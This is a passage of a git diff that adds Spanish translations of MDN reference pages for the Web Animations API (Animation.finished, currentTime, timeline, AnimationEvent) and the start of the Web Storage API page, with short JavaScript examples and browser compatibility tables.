+<p>Una vez que la reproducción de la animación abandona el estado  <code>finished</code>  ( es decir, la reproducción se está ejecutando otra vez ), Un nuevo <code>Promise</code> es creado para esta propiedad. El nuevo <code>Promise</code> será resuelto cuando se haya completado la actual secuencia de la animación.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>animationsPromise</em> = <em>Animation.</em>finished;
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un objeto {{jsxref("Promise")}} que se resuelve cuando haya finalizado la reproducción de la animación.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente código espera a que todas las animaciones que se ejecutan en el elemento <code>elem</code> hayan terminado, después elimina el elemento del arbol del DOM:</p>
+
+<pre class="brush: js">Promise.all(
+  elem.getAnimations().map(
+    function(animation) {
+      return animation.finished
+    }
+  )
+).then(
+  function() {
+    return elem.remove();
+  }
+);</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-finished', 'Animation.finished' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li>{{domxref("KeyframeEffect")}}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+</ul>
diff --git a/files/es/web/api/animation/tiempoactual/index.html b/files/es/web/api/animation/tiempoactual/index.html
new file mode 100644
index 0000000000..acd56f9170
--- /dev/null
+++ b/files/es/web/api/animation/tiempoactual/index.html
@@ -0,0 +1,114 @@
+---
+title: Animation.currentTime
+slug: Web/API/Animation/tiempoActual
+tags:
+  - Animacion
+translation_of: Web/API/Animation/currentTime
+---
+<p>{{APIRef("Web Animations")}}{{SeeCompatTable}}</p>
+
+<p>La propiedad <code><strong>Animation</strong></code><strong><code>.currentTime</code></strong> de la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> devuelve y establece el valor del tiempo de la animación en milisegundos, tanto si se está ejecutando como en pausa.</p>
+
+<p>Si la animación carece de un {{domxref("AnimationTimeline", "timeline")}}, está inactiva, o no ha sido reproducida todavía, el valor devuelto por <code>currentTime</code> es <code>null</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>currentTime</em> = <em>Animation</em>.currentTime;
+<em>Animation</em>.currentTime =<em> newTime;</em></pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un número que representa el tiempo actual en milisegundos, o <code>null</code> para desactivar la animación.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En el juego <a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010">Drink Me/Eat Me </a>, la altura de Alicia está animada, por lo que puede cambiar de pequeña a grande y de grande a pequeña. Al inicio del juego, su altura de fija estableciendo el <code>currentTime</code> (tiempoActual) a la mitad de la duración total del<a href="/en-US/docs/Web/API/Web_Animations_API/Animation_timing_options"><code>KeyframeEffect</code></a>:</p>
+
+<pre class="brush: js">aliceChange<strong>.</strong>currentTime = aliceChange.effect.timing.duration / 2;</pre>
+
+<p>Un modo más genérico para encontrar la marca del 50% en una animación sería :</p>
+
+<pre class="brush: js">animation.currentTime =
+  animation.effect.getComputedTiming().delay +
+  animation.effect.getComputedTiming().activeDuration / 2;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-currenttime', 'currentTime')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puede ser deshabilitado en cualquier versión de Firefox, estableciendo esta preferencia en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Animation")}} <span id="result_box" lang="es"><span>para otros métodos y propiedades que puede usar para controlar la animación de la página web</span></span>.</li>
+ <li>{{domxref("Animation.startTime")}} para programar el tiempo de inicio de una animación.</li>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+</ul>
diff --git a/files/es/web/api/animation/timeline/index.html b/files/es/web/api/animation/timeline/index.html
new file mode 100644
index 0000000000..ba34392efd
--- /dev/null
+++ b/files/es/web/api/animation/timeline/index.html
@@ -0,0 +1,111 @@
+---
+title: Animation.timeline
+slug: Web/API/Animation/timeline
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Reference
+  - timeline
+translation_of: Web/API/Animation/timeline
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>La propiedad <strong><code>Animation.timeline</code></strong> de la interfaz {{domxref ("Animation")}} devuelve o establece el {{domxref ("AnimationTimeline", "timeline")}} asociado a esta animación. Un 'timeline' es una fuente de valores de tiempo para propósitos de sincronización, y es un objeto basado en {{domxref ("AnimationTimeline")}}. Por defecto, la línea de tiempo de la animación y la línea de tiempo de {{domxref ("Document")}} son las mismas.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>animationsTimeline</em> = <em>Animation</em>.timeline;
+
+<em>Animation</em>.timeline = <em>newTimeline</em>;</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un {{domxref ("AnimationTimeline", "timeline object", "", 1)}} para usar como la fuente de sincronización para la animación, o <code>null</code> para usar el predeterminado, que es el 'timeline' del {{domxref ("Document")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Aquí establecemos que la línea de tiempo <code>timeline</code> de la animación sea la misma que la del tiempo del documento (por cierto, esta es la <code>timeline</code> predeterminada para todas las animaciones):</p>
+
+<pre class="brush: js">animation.timeline = document.timeline;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-timeline', 'Animation.timeline' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+ <li>{{domxref("AnimationTimeline")}}  el objeto padre del que heredan todas las timeLine.</li>
+ <li>{{domxref("DocumentTimeline")}} el único objeto timeLine disponible en este momento.</li>
+ <li>{{domxref("Document.timeline")}} el timeLine predeterminado asignado a todas las animaciones.</li>
+</ul>
diff --git a/files/es/web/api/animationevent/animationname/index.html b/files/es/web/api/animationevent/animationname/index.html
new file mode 100644
index 0000000000..ada4eb4a04
--- /dev/null
+++ b/files/es/web/api/animationevent/animationname/index.html
@@ -0,0 +1,101 @@
+---
+title: AnimationEvent.animationName
+slug: Web/API/AnimationEvent/animationName
+tags:
+  - API
+  - Animaciones Web
+  - AnimationEvent
+  - CSSOM
+  - Experimental
+  - Propiedad
+  - Referencia
+translation_of: Web/API/AnimationEvent/animationName
+---
+<p>{{SeeCompatTable}}{{ apiref("Web Animations API") }}</p>
+
+<p>La propiedad de solo-lectura <code><strong>AnimationEvent.animationName</strong></code> es un {{domxref("DOMString")}} conteniendo el valor de  la propiedad de CSS {{cssxref("animation-name")}} asociada con la transición.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>name</em> = <em>AnimationEvent</em>.animationName</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-animationName', 'AnimationEvent.animationName') }}</td>
+   <td>{{ Spec2('CSS3 Animations')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome para Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations">Usando animaciones CSS</a></li>
+ <li>Las propiedades CSS relacionadas con animacióny reglas: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+ <li>La interface {{domxref("AnimationEvent")}} a la cual pertenece.</li>
+</ul>
diff --git a/files/es/web/api/animationevent/index.html b/files/es/web/api/animationevent/index.html
new file mode 100644
index 0000000000..c726ac42f9
--- /dev/null
+++ b/files/es/web/api/animationevent/index.html
@@ -0,0 +1,186 @@
+---
+title: AnimationEvent
+slug: Web/API/AnimationEvent
+tags:
+  - API
+  - Animaciones Web
+  - Experimental
+  - Interface
+  - Referencia
+translation_of: Web/API/AnimationEvent
+---
+<p>{{SeeCompatTable}}{{APIRef("Web Animations API")}}</p>
+
+<p>La interfaz <strong><code>AnimationEvent</code></strong> representa los eventos que proporciona información relacionada con las <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">animaciones</a>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>También hereda las propiedades de su padre {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene el valor de la propiedad CSS {{cssxref("animation-name")}} asociado con la transición.</dd>
+ <dt>{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}</dt>
+ <dd>Es un número flotante que da la cantidad de tiempo que ha estado corriendo la animación, en segundos, cuando este evento es disparado, excluyendo cualquier vez que la aimación fue pausada.  Para un evento <code>"animationstart"</code>, <code>elapsedTime</code> es <code>0.0</code> a ménos que hubiera un valor negativo para {{cssxref("animation-delay")}}, en tal caso sería disparado el evento con <code>elapsedTime</code> conteniendo <code>(-1 * </code><em>retraso</em><code>)</code>.</dd>
+ <dt>{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}</dt>
+ <dd>Es un {{domxref("DOMString")}}, empezando con <code>'::'</code>, conteniendo el nombre del <a href="/en-US/docs/Web/CSS/Pseudo-elements" title="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-element</a> en el cual corre la animación. Si la animación no corre sobre un pseudo-element sino en el elemento, un string vacío: ''. </dd>
+</dl>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}</dt>
+ <dd>Crea un evento <code>AnimationEvent</code> con los parametros dados.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>También hereda los métodos de su padre {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}</dt>
+ <dd>Inicializa un evento <code>AnimationEvent</code> creado utilizando el método obsoleto  {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}}</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>
+    <p>1.0 {{ property_prefix("webkit") }}</p>
+
+    <p>{{CompatChrome(43.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>10.0</td>
+   <td>12 {{ property_prefix("o") }}<br>
+    12.10<br>
+    15.0 {{ property_prefix("webkit") }}</td>
+   <td>4.0 {{ property_prefix("webkit") }}</td>
+  </tr>
+  <tr>
+   <td>Constructor de<code> AnimationEvent()</code></td>
+   <td>
+    <p>{{CompatChrome(43.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>initAnimationEvent()</code> {{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}<br>
+    Removed in {{ CompatGeckoDesktop("23.0") }}</td>
+   <td>10.0</td>
+   <td>12</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td><code>pseudoelement</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome para Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>10.0</td>
+   <td>12 {{ property_prefix("o") }}<br>
+    12.10<br>
+    15.0 {{ property_prefix("webkit") }}</td>
+   <td>{{CompatVersionUnknown}}{{ property_prefix("webkit") }}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td>Constructor de<code> AnimationEvent()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>initAnimationEvent()</code> {{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}<br>
+    Removed in {{ CompatGeckoMobile("23.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>pseudoelement</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations">Usando animaciones CSS</a></li>
+ <li>Las propiedades CSS referentes a animación  y reglas: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+</ul>
diff --git a/files/es/web/api/api_de_almacenamiento_web/index.html b/files/es/web/api/api_de_almacenamiento_web/index.html
new file mode 100644
index 0000000000..26a858d254
--- /dev/null
+++ b/files/es/web/api/api_de_almacenamiento_web/index.html
@@ -0,0 +1,146 @@
+---
+title: API de almacenamiento web
+slug: Web/API/API_de_almacenamiento_web
+tags:
+  - API
+  - API de almacenamiento web
+  - Almacenamiento web
+  - Storage
+  - localStorage
+  - sessionStorage
+translation_of: Web/API/Web_Storage_API
+---
+<p>{{DefaultAPISidebar("Web Storage API")}}</p>
+
+<p>La <strong>API de almacenamiento web</strong> proporciona los mecanismos mediante los cuales el navegador puede almacenar información de tipo clave/valor, de una forma mucho más intuitiva que utilizando cookies.</p>
+
+<h2 id="Almacenamiento_web_conceptos_y_uso"><strong>Almacenamiento web, conceptos y uso</strong></h2>
+
+<p>Los dos mecanismos en el almacenamiento web son los siguientes:</p>
+
+<ul>
+ <li><strong><code>sessionStorage</code> </strong>mantiene un área de almacenamiento separada para cada origen que está disponible mientras dure la sesión de la página (mientras el navegador esté abierto, incluyendo recargas de página y restablecimientos).</li>
+ <li><strong><code>localStorage</code> </strong>hace lo mismo, pero persiste incluso cuando el navegador se cierre y se reabra.</li>
+</ul>
+
+<p>Estos mecanismos están disponibles mediante las propiedades <a href="https://developer.mozilla.org/es/docs/Web/API/Window/sessionStorage" title="La propiedad sessionStorage permite acceder a un objeto Storage asociado a la sesión actual. La propiedad sessionStorage es similar a localStorage, la única diferencia es que la información almacenada en localStorage no posee tiempo de expiración, por el contrario la información almacenada en sessionStorage es eliminada al finalizar la sesion de la página. La sesión de la página perdura mientras el navegador se encuentra abierto, y se mantiene por sobre las recargas y reaperturas de la página. Abrir una página en una nueva pestaña o ventana iniciará una nueva sesión, lo que difiere en la forma en que trabajan las cookies de sesión."><code>Window.sessionStorage</code></a> y  <a href="https://developer.mozilla.org/es/docs/Web/API/Window/localStorage" title="La propiedad localStorage te permite acceder al objeto local Storage. localStorage es similar a sessionStorage. La única diferencia es que, mientras los datos almacenados en localStorage no tienen fecha de expiración, los datos almacenados en sessionStorage son eliminados cuando finaliza la sesion de navegación - lo cual ocurre cuando se cierra el navegador."><code>Window.localStorage</code></a> (dicho con más precisión, en navegadores con soporte, el objeto <code>Window</code> implementa los objetos  <code>WindowLocalStorage</code> y <code>WindowSessionStorage</code>, en los cuales se basan las propiedades <code>localStorage</code> y <code>sessionStorage</code>). Al invocar uno de éstos, se creará una instancia del objeto <a href="https://developer.mozilla.org/es/docs/Web/API/Storage" title="La interfaz Storage de la API de almacenamiento web provee acceso al almacenamiento de la sesión o al almacenamiento local para un dominio en particular, permitiéndote por ejemplo añadir, modificar o eliminar elementos de dato almacenados."><code>Storage</code></a>, a través del cual los datos pueden ser creados, recuperados y eliminados. sessionStorage y localStorage utilizan un objeto de almacenamiento diferente según su origen — funcionan y son controlados por separado.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Acceder al Almacenamiento web desde IFrames de terceros está prohibido si el usuario tiene <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">deshabilitadas las cookies de terceros</a> (Firefox implementa este comportamiento a partir de la <a href="/en-US/docs/Mozilla/Firefox/Releases/43">versión 43</a>).</p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> El almacenamiento web no es lo mismo que <a href="/en-US/docs/Storage" title="Storage">mozStorage</a> (interfaces Mozilla's XPCOM para SQLite) o la <a href="/en-US/docs/Session_store_API" title="Session_store_API">Session store API</a> (una utilidad de almacenamiento <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a> usada por extensiones).</p>
+</div>
+
+<h2 id="Interfaces_de_almacenamiento_web">Interfaces de almacenamiento web</h2>
+
+<dl>
+ <dt>{{domxref("Storage")}}</dt>
+ <dd>Permite crear, recuperar y eliminar datos de un dominio y tipo de almacenamiento (sesión o local) específicos.</dd>
+ <dt>{{domxref("Window")}}</dt>
+ <dd>La API de almacenamiento web extiende el objeto {{domxref("Window")}} con dos nuevas propiedades — {{domxref("Window.sessionStorage")}} y {{domxref("Window.localStorage")}} — que proveen acceso a la sesión actual del dominio y a objetos {{domxref("Storage")}} locales, respectivamente. También ofrece un manejador de evento {{domxref("Window.onstorage")}} que se dispara cuando un área de la memoria cambia (por ejemplo, cuando se almacena un nuevo elemento).</dd>
+ <dt>{{domxref("StorageEvent")}}</dt>
+ <dd>El evento <code>storage</code> se dispara en el objeto <code>Window</code> de un documento cuando un área de la memoria cambia.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Para ilustrar algunos usos típicos del almacenamiento web, hemos creado un ejemplo simple, llamado <a href="https://github.com/mdn/web-storage-demo">Demo de almacenamiento web</a>. La <a href="http://mdn.github.io/web-storage-demo/">página de inicio</a> proporciona controles que puedes utilizar para personalizar el color, la tipografía y la imagen decorativa. Cuando seleccionas una opción diferente, la página se actualiza instantáneamente; además, tus opciones se almacenan en <code>localStorage</code>, de forma que si abandonas la página y la vuelves a cargar, tus opciones son recordadas.</p>
+
+<p>También creamos una<a href="http://mdn.github.io/web-storage-demo/event.html"> página de salida del evento</a> — si cargas esta página en otra pestaña y luego haces cambios a tus opciones en la página de inicio, verás que se muestra la información almacenada actualizada puesto que se dispara un evento {{event("StorageEvent")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores"><strong>Compatibilidad </strong>de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
